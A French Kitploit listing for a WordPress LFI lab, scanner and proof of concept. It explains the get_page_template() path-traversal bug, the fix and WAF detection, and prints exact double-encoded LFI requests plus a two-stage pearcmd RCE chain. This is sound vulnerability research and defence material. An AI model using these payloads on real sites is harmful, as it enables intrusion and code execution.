Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-87902-wordpress-lfi-lab — Labo de reproduction + scanner de liste d'URL + PoC pour CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI non authentifié via get_page_template() de WordPress menant à une RCE conditionnelle (WP 4.7.0-7.1.1, corrigé en 7.1.2). Tests autorisés/défensifs. | Kitploit
Outils/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
Scanners de VulnérabilitésScanners de Vulnérabilités WebAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
Développement de Charges Utiles
Labs et Pratique
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

Labo de reproduction + scanner de liste d'URL + PoC pour CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI non authentifié via get_page_template() de WordPress menant à une RCE conditionnelle (WP 4.7.0-7.1.1, corrigé en 7.1.2). Tests autorisés/défensifs.

Voir le dépôt
34il y a 17 heuresPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI non authentifié via get_page_template() de WordPress → RCE conditionnel

Lab de reproduction + scanner de liste d'URL + PoC, construit et validé de bout en bout contre de véritables WordPress 7.1.1 (vulnérable) et 7.1.2 (corrigé) sur le lab Docker.

  • Avis : https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Type : CWE-98 contrôle inapproprié du nom de fichier pour include/require (traversée de chemin → inclusion PHP locale)
  • Affecté : WordPress 4.7.0 – 7.1.1 (corrigé dans 7.1.2 et rétroportages par branche : 7.0.6, 6.9.9, 6.8.10 … jusqu'à 4.7.37)
  • Auth : aucune. CVSS 4.0 : 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • Préconditions : (1) le thème actif possède un répertoire de premier niveau nommé page-* (par ex. — présent dans Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney) ; (2) pour la RCE uniquement : un lisible et .
page-templates/
pearcmd.php
register_argc_argv=On

1. Cause racine (vérifiée sur les sources 7.1.1 vs 7.1.2)

wp-includes/template.php :: get_page_template() construit un candidat de template à partir de la query var pagename contrôlée par l'attaquant sans validate_file() :

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

locate_template() fait ensuite file_exists($theme_dir . '/' . $candidate) et include le fichier trouvé. Comme le candidat est page-{...}.php, la charge utile doit prolonger un répertoire de thème réel qui commence par page- (par ex. page-templates/) puis remonter avec ../ vers n'importe quel .php lisible.

Le double encodage est obligatoire. get_query_var('pagename') est déjà décodé une fois par PHP, donc un simple ../ fait que urldecode($pagename) === $pagename et la branche vulnérable est ignorée. Un %252e%252e%252f doublement encodé survit au premier décodage sous la forme %2e%2e%2f et n'est transformé en ../ que par le urldecode() supplémentaire — c'est là le bug.


2. Lab (lab/)

De véritables versions côte à côte sur l'hôte Docker, ne différant que par le correctif de sécurité :

ServiceURL (loopback uniquement)WordPressRôle
wp-vulnhttp://127.0.0.1:80917.1.1vulnérable
wp-patchedhttp://127.0.0.1:80927.1.2témoin corrigé
db—MySQL 8.4partagé (deux bases de données)

Image de base wordpress:php8.3-apache (qui embarque déjà pearcmd.php et register_argc_argv=On), avec le cœur fourni remplacé par les authentiques wordpress-7.1.1.zip / 7.1.2.zip. Twenty Fourteen est activé (véritable page-templates/), et un fixture page-templates/ est également créé dans le thème actif. ID de page publiée = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

Les ports se lient à 127.0.0.1 uniquement — l'instance vulnérable n'est jamais exposée au réseau.


3. Scanner / PoC (poc/cve-2026-87902-scan.py)

Python 3, stdlib uniquement (pas de pip install). Prend une liste d'URL et indique lesquelles sont vulnérables. Le scan par défaut est non destructif : il inclut le fichier cœur en lecture seule wp-links-opml.php et recherche le document OPML résultant — preuve que l'inclusion arbitraire de .php s'est déclenchée, sans écriture ni changement d'état.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

Comment une cible est classifiée

  1. Empreinte WordPress + version (meta generator → feed <generator> → wp-links-opml.php → readme.html → asset /wp-includes/ ?ver=).
  2. Découverte d'un ID de page publiée valide (REST /wp/v2/pages, repli ?rest_route=, page d'accueil page-id-N, défaut page_id=2) — nécessaire pour que la requête se résolve en une Page et que get_page_template() s'exécute.
  3. Balayage de l'oracle OPML : pour segment × profondeur (segment par défaut templates, profondeurs 4,3,5,6,7), envoyer page_id=<id>&pagename=<../ doublement encodé → wp-links-opml> (POST, pour éviter la redirection canonique) et exiger un HTTP 200 portant <opml version="1.0"> + un marqueur secondaire structurel (</opml> / <outline / <dateCreated>).
  4. Contrôle négatif (preuve de causalité) : en cas de succès, réémettre la requête identique pointant vers un .php garanti inexistant. Si l'OPML apparaît encore, l'OPML est ambiant (proxy / cache / application de flux), et non notre inclusion → rétrogradé en POSSIBLY. Seul un succès dont le contrôle est propre est VULNERABLE.

Robustesse : préserve les chemins de sous-répertoire (http://host/blog), gère gzip/deflate et les charsets inhabituels, réessaie une sonde une fois en cas d'erreur de transport, découvre/valide les ID de page (REST → ?rest_route= → page d'accueil → défauts), impose un budget de temps par cible, et n'affirme jamais NOT_VULNERABLE à partir d'une source de version à faible confiance (asset ?ver= / readme.html) — celles-ci dégradent en POSSIBLY.

VerdictSignification
VULNERABLEL'oracle OPML s'est déclenché — LFI confirmée (définitif)
NOT_VULNERABLEversion de la branche corrigée, ou version hors 4.7.0–7.1.1
POSSIBLY_VULNERABLEversion vulnérable/inconnue mais oracle silencieux (probablement pas de répertoire de thème page-*, disposition non standard, ou aucun ID de page découvrable) — vérifier manuellement
NOT_WORDPRESS / ERRORaucun indicateur WP / échec de transport

Code de sortie : 2 si au moins un VULNERABLE, 1 si au moins un POSSIBLY (et aucun VULNERABLE), sinon 0.

Options utiles : --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (budget par cible), --timeout, --threads, --proxy, --header, --insecure (TLS désactivé — dev uniquement), --json, --jsonl. Pour une installation WordPress dans un sous-répertoire, passer la base complète (par ex. https://host/blog) ; pour Bedrock/cœur dans wp/, le balayage essaie aussi les cibles d'oracle préfixées par wp/.

Escalade RCE (opt-in, usage en lab)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

Exécute la chaîne PEAR pearcmd.php : la chaîne de requête séparée par + transporte les argv config-create qui écrivent un marqueur .php sans guillemets sous /tmp ; une seconde requête l'inclut. Affiche le marqueur exécuté + php_uname() + uid. Écrit un fichier sur la cible → cible unique, nécessite --i-have-authorization, désactivé par défaut.


4. Preuves (evidence/)

FichierCe qu'il prouve
manual-validate.sh / ev-lfi.logL'oracle OPML se déclenche sur 7.1.1 (profondeur 4, POST et GET), silencieux sur 7.1.2 ; seule la profondeur 4 fonctionne ; l'encodage simple échoue
rce-validate.sh / ev-rce.logRCE PEAR complète sur 7.1.1 (uid=33 en tant que www-data, profondeur 7) ; la version corrigée n'écrit aucun fichier, n'exécute rien
ev-scan-table.log / ev-scan-results.jsonscanner sur {vuln, patched, non-WP, dead} : VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

Formes de requêtes prouvées :

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. Remédiation

  • Mettre à jour WordPress vers 7.1.2 (ou la version corrigée de votre branche : 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • Défense en profondeur : définir PHP register_argc_argv=Off pour le SAPI web et supprimer/refuser pearcmd.php ; cela supprime l'escalade RCE même si la LFI est atteignable.
  • Détection/WAF : après décodage URL complet des clés et valeurs des paramètres (et des paramètres dupliqués), bloquer tout pagename contenant .. ; la co-occurrence de page_id + un pagename commençant par templates%252f / contenant %252e%252e sur la racine du site ou /index.php est un signal d'exploitation quasi certain.

Tests de sécurité autorisés, éducation et recherche défensive uniquement.

Télécharger l’outil